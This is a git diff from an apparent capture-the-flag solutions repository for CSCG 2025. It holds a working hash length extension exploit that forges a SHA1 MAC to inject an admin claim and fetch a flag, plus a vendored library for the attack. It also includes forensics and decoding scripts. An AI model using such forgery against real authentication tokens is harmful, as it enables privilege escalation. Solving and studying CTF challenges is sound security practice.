diff --git a/.DS_Store b/.DS_Store deleted file mode 100644 index cee2ad0..0000000 Binary files a/.DS_Store and /dev/null differ diff --git a/.gitignore b/.gitignore index 5f332fa..b7eb8c7 100644 --- a/.gitignore +++ b/.gitignore @@ -1,16 +1,13 @@ - htb/cyber_apocalypse_2024/pwn/pwn_sound_of_silence/challenge/ - insomnihack24/mobile/.venv/ - insomnihack24/mobile/Notes/ - insomnihack24/mobile/CryptoTest/.idea/ - insomnihack24/mobile/CryptoTest/out/ - insomnihack24/misc/puzzled/solutions/ - insomnihack24/misc/puzzled/pieces/ - insomnihack24/web/mathematical/.venv/ + +.DS_Store +.venv + +__pycache__ diff --git a/cscg24/.DS_Store b/cscg24/.DS_Store deleted file mode 100644 index 0d2dee8..0000000 Binary files a/cscg24/.DS_Store and /dev/null differ diff --git a/cscg25/crypto/intro2/exploit.py b/cscg25/crypto/intro2/exploit.py index 6d7d28b..1c83699 100644 --- a/cscg25/crypto/intro2/exploit.py +++ b/cscg25/crypto/intro2/exploit.py @@ -1,72 +1,18 @@ from pwn import * from base64 import b64encode, b64decode -import struct -import binascii + +import hlextend KEY_LENGTH_BYTES = 16 -LOCAL = True +LOCAL = True -if not LOCAL: - p = remote("190b6910a0ded80a0296d180-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience +if LOCAL: + p = process(["python", "main.py"])# Define functions for convenience +else: + p = remote("965850e570d3b775de1709a2-1024-intro-crypto-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience menu_string = b"\n 1. Register\n 2. Show animal videos\n 3. Show flag\n 4. Exit\n \nEnter your choice:" -class SHA1: - def __init__(self, h0, h1, h2, h3, h4, message_byte_length): - self.h0 = h0 - self.h1 = h1 - self.h2 = h2 - self.h3 = h3 - self.h4 = h4 - self.message_byte_length = message_byte_length - - def _left_rotate(self, n, b): - return ((n << b) | (n >> (32 - b))) & 0xffffffff - - def update(self, message): - message_byte_length = len(message) - message_bit_length = (self.message_byte_length + message_byte_length) * 8 - message += b'\x80' - message += b'\x00' * ((56 - (len(message) % 64)) % 64) - message += struct.pack('>Q', message_bit_length) - - for chunk_offset in range(0, len(message), 64): - w = list(struct.unpack('>16I', message[chunk_offset:chunk_offset + 64])) - w.extend(0 for _ in range(64)) - for i in range(16, 80): - w[i] = self._left_rotate(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1) - - a, b, c, d, e = self.h0, self.h1, self.h2, self.h3, self.h4 - for i in range(80): - if 0 <= i < 20: - f = (b & c) | (~b & d) - k = 0x5A827999 - elif 20 <= i < 40: - f = b ^ c ^ d - k = 0x6ED9EBA1 - elif 40 <= i < 60: - f = (b & c) | (b & d) | (c & d) - k = 0x8F1BBCDC - else: - f = b ^ c ^ d - k = 0xCA62C1D6 - - temp = (self._left_rotate(a, 5) + f + e + k + w[i]) & 0xffffffff - e = d - d = c - c = self._left_rotate(b, 30) - b = a - a = temp - - self.h0 = (self.h0 + a) & 0xffffffff - self.h1 = (self.h1 + b) & 0xffffffff - self.h2 = (self.h2 + c) & 0xffffffff - self.h3 = (self.h3 + d) & 0xffffffff - self.h4 = (self.h4 + e) & 0xffffffff - - def digest(self): - return struct.pack('>5I', self.h0, self.h1, self.h2, self.h3, self.h4) - def recv_until(delim): return p.recvuntil(delim) @@ -92,53 +38,24 @@ def show_flag(token: bytes): p.sendline(token) interact() -def sha1_padding(message_length): - padding = b'\x80' - padding += b'\x00' * ((56 - (message_length + 1) % 64) % 64) - padding += struct.pack('>Q', message_length * 8) - return padding - -def get_mac(data: bytes) -> str: - return sha1(KEY.encode("latin1") + data).hexdigest() - - -if LOCAL: - print("Enter token:") - token = input() -else: - token = register() +token = register() string_token = b64decode(token) claims, mac = string_token.split(b"|mac=") print(f"{token} : {string_token}") -padding = sha1_padding(KEY_LENGTH_BYTES + len(claims)) +print(f"{claims}") +print(f"{mac}") + injection = "|admin=true".encode("latin1") -forged_msg = claims + padding + injection - -h = struct.unpack('>5I', bytes.fromhex(mac.decode("latin1"))) - -sha1 = SHA1(*h, message_byte_length=len(forged_msg) - len(injection)) -sha1.update(injection) - -forged_mac = sha1.digest().hex() - -key = input("Input Key") - -orig_sha1 = SHA1(*[0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476, 0xC3D2E1F0], message_byte_length=(len(forged_msg) + KEY_LENGTH_BYTES)) -orig_sha1.update(key.encode("latin1") + forged_msg) - -real_mac = orig_sha1.digest().hex() - - -print(f"forged mac: {forged_mac} | real mac: {real_mac}") +sha_forge = hlextend.new('sha1') +forged_msg = sha_forge.extend(injection, claims, KEY_LENGTH_BYTES, mac.decode("latin1")) +forged_mac = sha_forge.hexdigest() secure_token = forged_msg + f"|mac={forged_mac}".encode("latin1") secure_token = b64encode(secure_token).decode("latin1") -if LOCAL: - print(secure_token) -else: - show_flag(secure_token) +show_flag(secure_token) +p.interactive() diff --git a/cscg25/crypto/intro2/hlextend.py b/cscg25/crypto/intro2/hlextend.py new file mode 100644 index 0000000..74ae9ec --- /dev/null +++ b/cscg25/crypto/intro2/hlextend.py @@ -0,0 +1,442 @@ +# Copyright (C) 2014 by Stephen Bradshaw +# +# SHA1 and SHA2 generation routines from SlowSha https://code.google.com/p/slowsha/ +# which is: Copyright (C) 2011 by Stefano Palazzo +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + +''' + Pure Python Hash Length Extension module. + + Currently supports SHA1, SHA256 and SHA512, more algorithms will + be added in the future. + + + Create a hash by calling one of the named constuctor functions: + sha1(), sha256(), and sha512(), or by calling new(algorithm). + + The hash objects have the following methods: + + hash(message): + + Feeds data into the hash function using the normal interface. + + extend(appendData, knownData, secretLength, startHash): + + Performs a hash length extension attack. Returns the bytestring to + use when appending data. + + hexdigest(): + + Returns a hexlified version of the hash output. + + + Assume you have a hash generated from an unknown secret value concatenated with + a known value, and you want to be able to produce a valid hash after appending + additional data to the known value. + + If the hash algorithm used is one of the vulnerable functions implemented in + this module, is is possible to achieve this without knowing the secret value + as long as you know (or can guess, perhaps by brute force) the length of that + secret value. This is called a hash length extension attack. + + Given an existing sha1 hash value '52e98441017043eee154a6d1af98c5e0efab055c', + known data of 'hello', an unknown secret of length 10 and data you wish + to append of 'file', you would do the following to perform the attack: + + >>> import hlextend + >>> sha = hlextend.new('sha1') + >>> print sha.extend(b'file', b'hello', 10, '52e98441017043eee154a6d1af98c5e0efab055c') + b'hello\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00xfile' + >>> print sha.hexdigest() + c60fa7de0860d4048a3bfb36b70299a95e6587c9 + + The unknown secret (of length 10), that when hashed appended with 'hello' produces + a SHA1 hash of '52e98441017043eee154a6d1af98c5e0efab055c', will then produce + a SHA1 hash of 'c60fa7de0860d4048a3bfb36b70299a95e6587c9' when appended with the output + from the extend function above. + + If you are not sure of the exact length of the secret value, simply try the above + multiple times specifying different values for the length to brute force. +''' + + +from re import match +from math import ceil +from typing import Union + + +__version__ = "0.2" + + +class Hash(object): + '''Parent class for hash functions''' + + def hash(self, message): + '''Normal input for data into hash function''' + + length = bin(len(message) * 8)[2:].rjust(self._blockSize, "0") + + while len(message) > self._blockSize: + self._transform(''.join([bin(a)[2:].rjust(8, "0") + for a in message[:self._blockSize]])) + message = message[self._blockSize:] + + message = self.__hashBinaryPad(message, length) + + for a in range(len(message) // self._b2): + self._transform(message[a * self._b2:a * self._b2 + self._b2]) + + def extend(self, appendData, knownData, secretLength, startHash): + '''Hash length extension input for data into hash function''' + self.__checkInput(secretLength, startHash) + self.__setStartingHash(startHash) + + extendLength = self.__hashGetExtendLength( + secretLength, knownData, appendData) + + message = appendData + + while len(message) > self._blockSize: + self._transform(''.join([bin(a)[2:].rjust(8, "0") + for a in message[:self._blockSize]])) + message = message[self._blockSize:] + + message = self.__hashBinaryPad(message, extendLength) + + for i in range(len(message) // self._b2): + self._transform(message[i * self._b2:i * self._b2 + self._b2]) + + return self.__hashGetPadData(secretLength, knownData, appendData) + + def hexdigest(self): + '''Outputs hash data in hexlified format''' + return ''.join([(('%0' + str(self._b1) + 'x') % (a)) for a in self.__digest()]) + + def __init__(self): + # pre calculate some values that get used a lot + self._b1 = self._blockSize/8 + self._b2 = self._blockSize*8 + + def __digest(self): + return [self.__getattribute__(a) for a in dir(self) if match('^_h\d+$', a)] + + def __setStartingHash(self, startHash): + c = 0 + hashVals = [int(startHash[a:a+int(self._b1)], base=16) + for a in range(0, len(startHash), int(self._b1))] + for hv in [a for a in dir(self) if match('^_h\d+$', a)]: + self.__setattr__(hv, hashVals[c]) + c += 1 + print(hashVals) + + def __checkInput(self, secretLength, startHash): + if not isinstance(secretLength, int): + raise TypeError('secretLength must be a valid integer') + if secretLength < 1: + raise ValueError('secretLength must be grater than 0') + if not match('^[a-fA-F0-9]{' + str(len(self.hexdigest())) + '}$', startHash): + raise ValueError('startHash must be a string of length ' + + str(len(self.hexdigest())) + ' in hexlified format') + + def __byter(self, byteVal): + '''Helper function to return usable values for hash extension append data''' + if byteVal < 0x20 or byteVal > 0x7e: + return '\\x%02x' % (byteVal) + else: + return chr(byteVal) + + def __binToByte(self, binary) -> bytearray: + return int(binary, 2).to_bytes(len(binary) // 8, byteorder='big') + + def __hashGetExtendLength(self, secretLength, knownData, appendData): + '''Length function for hash length extension attacks''' + # binary length (secretLength + len(knownData) + size of binarysize+1) rounded to a multiple of blockSize + length of appended data + originalHashLength = int(ceil( + (secretLength+len(knownData)+self._b1+1)/float(self._blockSize)) * self._blockSize) + newHashLength = originalHashLength + len(appendData) + return bin(newHashLength * 8)[2:].rjust(self._blockSize, "0") + + def __hashGetPadData(self, secretLength, knownData, appendData): + '''Return append value for hash extension attack''' + originalHashLength = bin( + (secretLength+len(knownData)) * 8)[2:].rjust(self._blockSize, "0") + padData = ''.join(bin(i)[2:].rjust(8, "0") + for i in knownData) + "1" + padData += "0" * (((self._blockSize*7) - (len(padData)+(secretLength*8)) % + self._b2) % self._b2) + originalHashLength + + return self.__binToByte(padData) + appendData + + def __hashBinaryPad(self, message, length): + '''Pads the final blockSize block with \x80, zeros, and the length, converts to binary''' + out_msg = '' + + for i in message: + out_msg += bin(i)[2:].rjust(8, "0") + + out_msg += "1" + out_msg += "0" * (((self._blockSize*7) - len(out_msg) % self._b2) % self._b2) + length + + return out_msg + + +class SHA1 (Hash): + + _h0, _h1, _h2, _h3, _h4, = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0 + _blockSize = 64 + + def _transform(self, chunk): + + def lrot(x, n): return (x << n) | (x >> (32 - n)) + w = [] + + for j in range(len(chunk) // 32): + w.append(int(chunk[j * 32:j * 32 + 32], 2)) + + for i in range(16, 80): + w.append(lrot(w[i - 3] ^ w[i - 8] ^ w[i - 14] ^ w[i - 16], 1) + & 0xffffffff) + + a = self._h0 + b = self._h1 + c = self._h2 + d = self._h3 + e = self._h4 + + for i in range(80): + + if i <= i <= 19: + f, k = d ^ (b & (c ^ d)), 0x5a827999 + elif 20 <= i <= 39: + f, k = b ^ c ^ d, 0x6ed9eba1 + elif 40 <= i <= 59: + f, k = (b & c) | (d & (b | c)), 0x8f1bbcdc + elif 60 <= i <= 79: + f, k = b ^ c ^ d, 0xca62c1d6 + + temp = lrot(a, 5) + f + e + k + w[i] & 0xffffffff + a, b, c, d, e = temp, a, lrot(b, 30), c, d + + self._h0 = (self._h0 + a) & 0xffffffff + self._h1 = (self._h1 + b) & 0xffffffff + self._h2 = (self._h2 + c) & 0xffffffff + self._h3 = (self._h3 + d) & 0xffffffff + self._h4 = (self._h4 + e) & 0xffffffff + + +class SHA256 (Hash): + + _h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = ( + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, + 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19) + + _blockSize = 64 + + def _transform(self, chunk): + def rrot(x, n): return (x >> n) | (x << (32 - n)) + w = [] + + k = [ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, + 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, + 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, + 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, + 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, + 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, + 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, + 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, + 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2] + + for j in range(len(chunk) // 32): + w.append(int(chunk[j * 32:j * 32 + 32], 2)) + + for i in range(16, 64): + s0 = rrot(w[i - 15], 7) ^ rrot(w[i - 15], 18) ^ (w[i - 15] >> 3) + s1 = rrot(w[i - 2], 17) ^ rrot(w[i - 2], 19) ^ (w[i - 2] >> 10) + w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffff) + + a = self._h0 + b = self._h1 + c = self._h2 + d = self._h3 + e = self._h4 + f = self._h5 + g = self._h6 + h = self._h7 + + for i in range(64): + s0 = rrot(a, 2) ^ rrot(a, 13) ^ rrot(a, 22) + maj = (a & b) ^ (a & c) ^ (b & c) + t2 = s0 + maj + s1 = rrot(e, 6) ^ rrot(e, 11) ^ rrot(e, 25) + ch = (e & f) ^ ((~ e) & g) + t1 = h + s1 + ch + k[i] + w[i] + + h = g + g = f + f = e + e = (d + t1) & 0xffffffff + d = c + c = b + b = a + a = (t1 + t2) & 0xffffffff + + self._h0 = (self._h0 + a) & 0xffffffff + self._h1 = (self._h1 + b) & 0xffffffff + self._h2 = (self._h2 + c) & 0xffffffff + self._h3 = (self._h3 + d) & 0xffffffff + self._h4 = (self._h4 + e) & 0xffffffff + self._h5 = (self._h5 + f) & 0xffffffff + self._h6 = (self._h6 + g) & 0xffffffff + self._h7 = (self._h7 + h) & 0xffffffff + + +class SHA512 (Hash): + + _h0, _h1, _h2, _h3, _h4, _h5, _h6, _h7 = ( + 0x6a09e667f3bcc908, 0xbb67ae8584caa73b, 0x3c6ef372fe94f82b, + 0xa54ff53a5f1d36f1, 0x510e527fade682d1, 0x9b05688c2b3e6c1f, + 0x1f83d9abfb41bd6b, 0x5be0cd19137e2179) + + _blockSize = 128 + + def _transform(self, chunk): + + def rrot(x, n): return (x >> n) | (x << (64 - n)) + w = [] + + k = [ + 0x428a2f98d728ae22, 0x7137449123ef65cd, + 0xb5c0fbcfec4d3b2f, 0xe9b5dba58189dbbc, + 0x3956c25bf348b538, 0x59f111f1b605d019, + 0x923f82a4af194f9b, 0xab1c5ed5da6d8118, + 0xd807aa98a3030242, 0x12835b0145706fbe, + 0x243185be4ee4b28c, 0x550c7dc3d5ffb4e2, + 0x72be5d74f27b896f, 0x80deb1fe3b1696b1, + 0x9bdc06a725c71235, 0xc19bf174cf692694, + 0xe49b69c19ef14ad2, 0xefbe4786384f25e3, + 0x0fc19dc68b8cd5b5, 0x240ca1cc77ac9c65, + 0x2de92c6f592b0275, 0x4a7484aa6ea6e483, + 0x5cb0a9dcbd41fbd4, 0x76f988da831153b5, + 0x983e5152ee66dfab, 0xa831c66d2db43210, + 0xb00327c898fb213f, 0xbf597fc7beef0ee4, + 0xc6e00bf33da88fc2, 0xd5a79147930aa725, + 0x06ca6351e003826f, 0x142929670a0e6e70, + 0x27b70a8546d22ffc, 0x2e1b21385c26c926, + 0x4d2c6dfc5ac42aed, 0x53380d139d95b3df, + 0x650a73548baf63de, 0x766a0abb3c77b2a8, + 0x81c2c92e47edaee6, 0x92722c851482353b, + 0xa2bfe8a14cf10364, 0xa81a664bbc423001, + 0xc24b8b70d0f89791, 0xc76c51a30654be30, + 0xd192e819d6ef5218, 0xd69906245565a910, + 0xf40e35855771202a, 0x106aa07032bbd1b8, + 0x19a4c116b8d2d0c8, 0x1e376c085141ab53, + 0x2748774cdf8eeb99, 0x34b0bcb5e19b48a8, + 0x391c0cb3c5c95a63, 0x4ed8aa4ae3418acb, + 0x5b9cca4f7763e373, 0x682e6ff3d6b2b8a3, + 0x748f82ee5defb2fc, 0x78a5636f43172f60, + 0x84c87814a1f0ab72, 0x8cc702081a6439ec, + 0x90befffa23631e28, 0xa4506cebde82bde9, + 0xbef9a3f7b2c67915, 0xc67178f2e372532b, + 0xca273eceea26619c, 0xd186b8c721c0c207, + 0xeada7dd6cde0eb1e, 0xf57d4f7fee6ed178, + 0x06f067aa72176fba, 0x0a637dc5a2c898a6, + 0x113f9804bef90dae, 0x1b710b35131c471b, + 0x28db77f523047d84, 0x32caab7b40c72493, + 0x3c9ebe0a15c9bebc, 0x431d67c49c100d4c, + 0x4cc5d4becb3e42b6, 0x597f299cfc657e2a, + 0x5fcb6fab3ad6faec, 0x6c44198c4a475817] + + for j in range(len(chunk) // 64): + w.append(int(chunk[j * 64:j * 64 + 64], 2)) + + for i in range(16, 80): + s0 = rrot(w[i - 15], 1) ^ rrot(w[i - 15], 8) ^ (w[i - 15] >> 7) + s1 = rrot(w[i - 2], 19) ^ rrot(w[i - 2], 61) ^ (w[i - 2] >> 6) + w.append((w[i - 16] + s0 + w[i - 7] + s1) & 0xffffffffffffffff) + + a = self._h0 + b = self._h1 + c = self._h2 + d = self._h3 + e = self._h4 + f = self._h5 + g = self._h6 + h = self._h7 + + for i in range(80): + s0 = rrot(a, 28) ^ rrot(a, 34) ^ rrot(a, 39) + maj = (a & b) ^ (a & c) ^ (b & c) + t2 = s0 + maj + s1 = rrot(e, 14) ^ rrot(e, 18) ^ rrot(e, 41) + ch = (e & f) ^ ((~ e) & g) + t1 = h + s1 + ch + k[i] + w[i] + + h = g + g = f + f = e + e = (d + t1) & 0xffffffffffffffff + d = c + c = b + b = a + a = (t1 + t2) & 0xffffffffffffffff + + self._h0 = (self._h0 + a) & 0xffffffffffffffff + self._h1 = (self._h1 + b) & 0xffffffffffffffff + self._h2 = (self._h2 + c) & 0xffffffffffffffff + self._h3 = (self._h3 + d) & 0xffffffffffffffff + self._h4 = (self._h4 + e) & 0xffffffffffffffff + self._h5 = (self._h5 + f) & 0xffffffffffffffff + self._h6 = (self._h6 + g) & 0xffffffffffffffff + self._h7 = (self._h7 + h) & 0xffffffffffffffff + + +def new(algorithm) -> Union[SHA1, SHA256, SHA512]: + obj = { + 'sha1': SHA1, + 'sha256': SHA256, + 'sha512': SHA512, + }[algorithm]() + return obj + + +def sha1(): + ''' Returns a new sha1 hash object ''' + return new('sha1') + + +def sha256(): + ''' Returns a new sha256 hash object ''' + return new('sha256', ) + + +def sha512(): + ''' Returns a new sha512 hash object ''' + return new('sha512', ) + + +__all__ = ('sha1', 'sha256', 'sha512') diff --git a/cscg25/crypto/intro2/main.py b/cscg25/crypto/intro2/main.py index 3a84ab2..4d3ce7b 100755 --- a/cscg25/crypto/intro2/main.py +++ b/cscg25/crypto/intro2/main.py @@ -1,5 +1,3 @@ -#!/usr/bin/env python3 - from hashlib import sha1 from base64 import b64encode, b64decode from secrets import token_hex diff --git a/cscg25/forensics/intro2/extract_flag.py b/cscg25/forensics/intro2/extract_flag.py new file mode 100644 index 0000000..e8e4023 --- /dev/null +++ b/cscg25/forensics/intro2/extract_flag.py @@ -0,0 +1,12 @@ +from scapy.all import rdpcap + +packets = rdpcap("./intro-forensics-2.pcapng") + +filterd_packets = [packet for packet in packets if len(packet) == 87] + +flag = b"" + +for packet in filterd_packets: + flag += bytes.fromhex(hex(packet['TCP'].dport)[2:]) + +print(flag.decode()) diff --git a/cscg25/forensics/intro3/reconstructed_11.png b/cscg25/forensics/intro3/reconstructed_11.png new file mode 100644 index 0000000..b2f3167 Binary files /dev/null and b/cscg25/forensics/intro3/reconstructed_11.png differ diff --git a/cscg25/forensics/intro3/reconstructed_20.png b/cscg25/forensics/intro3/reconstructed_20.png new file mode 100644 index 0000000..ef1a70f Binary files /dev/null and b/cscg25/forensics/intro3/reconstructed_20.png differ diff --git a/cscg25/forensics/intro3/restore_file.py b/cscg25/forensics/intro3/restore_file.py new file mode 100644 index 0000000..c730023 --- /dev/null +++ b/cscg25/forensics/intro3/restore_file.py @@ -0,0 +1,32 @@ +from pngparser import PngParser, chunktypes +import zlib + +def calc_crc(chunk): + return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big') + +parser = PngParser("./intro-forensics-3") +header = parser.get_header() +header.crc = calc_crc(header) + +data_chunks = [chunk for chunk in parser.get_all() if chunk.type not in [b"IHDR", b"IEND"]] + +for chunk in data_chunks: + chunk.crc = calc_crc(chunk) + +end_chunk = parser.get_by_type(chunktypes.TYPE_IEND) +end_chunk[0].crc = calc_crc(end_chunk[0]) + +correct_chunk = [data_chunks[21], data_chunks[16], data_chunks[18], data_chunks[24], data_chunks[4], data_chunks[13], data_chunks[23], data_chunks[5], data_chunks[19], data_chunks[10], data_chunks[8], data_chunks[6], data_chunks[14], data_chunks[15], data_chunks[2], data_chunks[9], data_chunks[22], data_chunks[3], data_chunks[1], data_chunks[17], data_chunks[12], data_chunks[0], data_chunks[7]] + +possible_chunks = [(id,x) for id,x in enumerate(data_chunks) if x not in correct_chunk] + +for (id, chunk) in possible_chunks: + chunks = [header] + correct_chunk + [chunk] + end_chunk + + png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", "")) + + for chunk in chunks: + png_file += chunk.to_bytes() + + with open(f"reconstructed_{id}.png", "wb") as f: + f.write(png_file) diff --git a/cscg25/forensics/intro3/test.png b/cscg25/forensics/intro3/test.png new file mode 100644 index 0000000..f31d837 Binary files /dev/null and b/cscg25/forensics/intro3/test.png differ diff --git a/cscg25/forensics/intro3/test.py b/cscg25/forensics/intro3/test.py new file mode 100644 index 0000000..e9a78be --- /dev/null +++ b/cscg25/forensics/intro3/test.py @@ -0,0 +1,38 @@ +from pngparser import PngParser, chunktypes, ChunkIHDR +import zlib + + +def calc_crc(chunk): + return zlib.crc32(chunk.type + chunk.data).to_bytes(chunktypes.CHUNK_CRC_SIZE, 'big') + +parser = PngParser("./test.png") + +header = parser.get_header() +header.crc = calc_crc(header) +header = ChunkIHDR(chunktypes.TYPE_IHDR, header.data, header.crc) + +print(header) + +data_chunks = [chunk for chunk in parser.get_all() if chunk.type not in [b"IHDR", b"IEND"]] + +data_chunks = data_chunks[:10] + +for chunk in data_chunks: + chunk.crc = calc_crc(chunk) + +print([chunk.type for chunk in data_chunks]) + +end_chunk = parser.get_by_type(chunktypes.TYPE_IEND) +end_chunk[0].crc = calc_crc(end_chunk[0]) + +chunks = [header] + data_chunks + end_chunk + +png_file = bytes.fromhex("89 50 4E 47 0D 0A 1A 0A".replace(" ", "")) + +for chunk in chunks: + png_file += chunk.to_bytes() + +with open("test_cut.png", "wb") as f: + f.write(png_file) + +print(len(data_chunks)) diff --git a/cscg25/forensics/intro3/test_cut.png b/cscg25/forensics/intro3/test_cut.png new file mode 100644 index 0000000..336326b Binary files /dev/null and b/cscg25/forensics/intro3/test_cut.png differ diff --git a/cscg25/misc/nokia/decode.py b/cscg25/misc/nokia/decode.py new file mode 100644 index 0000000..7f4fc14 --- /dev/null +++ b/cscg25/misc/nokia/decode.py @@ -0,0 +1,25 @@ +import numpy as np +import matplotlib.pyplot as plt + +def decode_ota_bitmap(hex_data, width=72, height=14): + # Step 1: Convert hex to binary string + binary_data = ''.join(f"{int(h, 16):04b}" for h in hex_data) + + # Step 2: Ensure the binary data fits the expected size + expected_bits = width * height + binary_data = binary_data[:expected_bits] + + # Step 3: Convert binary data to a numpy array for visualization + bitmap = np.array([int(bit) for bit in binary_data]).reshape(height, width) + + # Step 4: Display the bitmap + plt.figure(figsize=(6, 2)) + plt.imshow(bitmap, cmap='gray', interpolation='nearest') + plt.axis('off') + plt.title("Decoded OTA Bitmap") + plt.show() + +# Example Usage +hex_payload = "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F3273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFFFFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00" +decode_ota_bitmap(hex_payload) + diff --git a/cscg25/misc/nokia/flag.png b/cscg25/misc/nokia/flag.png new file mode 100644 index 0000000..3b05855 Binary files /dev/null and b/cscg25/misc/nokia/flag.png differ diff --git a/cscg25/misc/nokia/notes.md b/cscg25/misc/nokia/notes.md new file mode 100644 index 0000000..5b06998 --- /dev/null +++ b/cscg25/misc/nokia/notes.md @@ -0,0 +1,12 @@ +Header Info: +Destination Port: 0x1583 +User Data: +First: +0B05041583000000030103013000480E01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F32 + +Second: +0B050415830000000301030273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFF + +Third: +0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00 + diff --git a/cscg25/misc/nokia/sms.txt b/cscg25/misc/nokia/sms.txt index 2135808..c44b93b 100644 --- a/cscg25/misc/nokia/sms.txt +++ b/cscg25/misc/nokia/sms.txt @@ -1,3 +1,3 @@ //SCKL1583 0B05041583000000030103013000480E01FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFF9FFFFF3FFC71FFFFFFDFFFEFBFFDED0F32 //SCKL1583 0B050415830000000301030273DFFCC18FF8EDB7BDE1DFFB6FB7FB71B7BAEFDFFB6DB7FB7B8F12718FFCF30FF8E3BFFFFFFFFFFFFFFFFF1FFFFFFFFFFFFFFFFF -//SCKL1583 0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00 \ No newline at end of file +//SCKL1583 0B0504158300000003010303FFFFFFFC0FFFFC0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00 diff --git a/cscg25/rev/grid_wave/avr.dump b/cscg25/rev/grid_wave/avr.dump new file mode 100644 index 0000000..712da67 --- /dev/null +++ b/cscg25/rev/grid_wave/avr.dump @@ -0,0 +1,52 @@ +00000000 <.text>: + 0: 0c 94 34 00 jmp 0x68 ; 0x68 + 4: 0c 94 49 00 jmp 0x92 ; 0x92 + 8: 0c 94 49 00 jmp 0x92 ; 0x92 + c: 0c 94 49 00 jmp 0x92 ; 0x92 + 10: 0c 94 49 00 jmp 0x92 ; 0x92 + 14: 0c 94 49 00 jmp 0x92 ; 0x92 + 18: 0c 94 49 00 jmp 0x92 ; 0x92 + 1c: 0c 94 49 00 jmp 0x92 ; 0x92 + 20: 0c 94 49 00 jmp 0x92 ; 0x92 + 24: 0c 94 49 00 jmp 0x92 ; 0x92 + 28: 0c 94 49 00 jmp 0x92 ; 0x92 + 2c: 0c 94 49 00 jmp 0x92 ; 0x92 + 30: 0c 94 49 00 jmp 0x92 ; 0x92 + 34: 0c 94 49 00 jmp 0x92 ; 0x92 + 38: 0c 94 49 00 jmp 0x92 ; 0x92 + 3c: 0c 94 49 00 jmp 0x92 ; 0x92 + 40: 0c 94 49 00 jmp 0x92 ; 0x92 + 44: 0c 94 49 00 jmp 0x92 ; 0x92 + 48: 0c 94 49 00 jmp 0x92 ; 0x92 + 4c: 0c 94 49 00 jmp 0x92 ; 0x92 + 50: 0c 94 49 00 jmp 0x92 ; 0x92 + 54: 0c 94 49 00 jmp 0x92 ; 0x92 + 58: 0c 94 49 00 jmp 0x92 ; 0x92 + 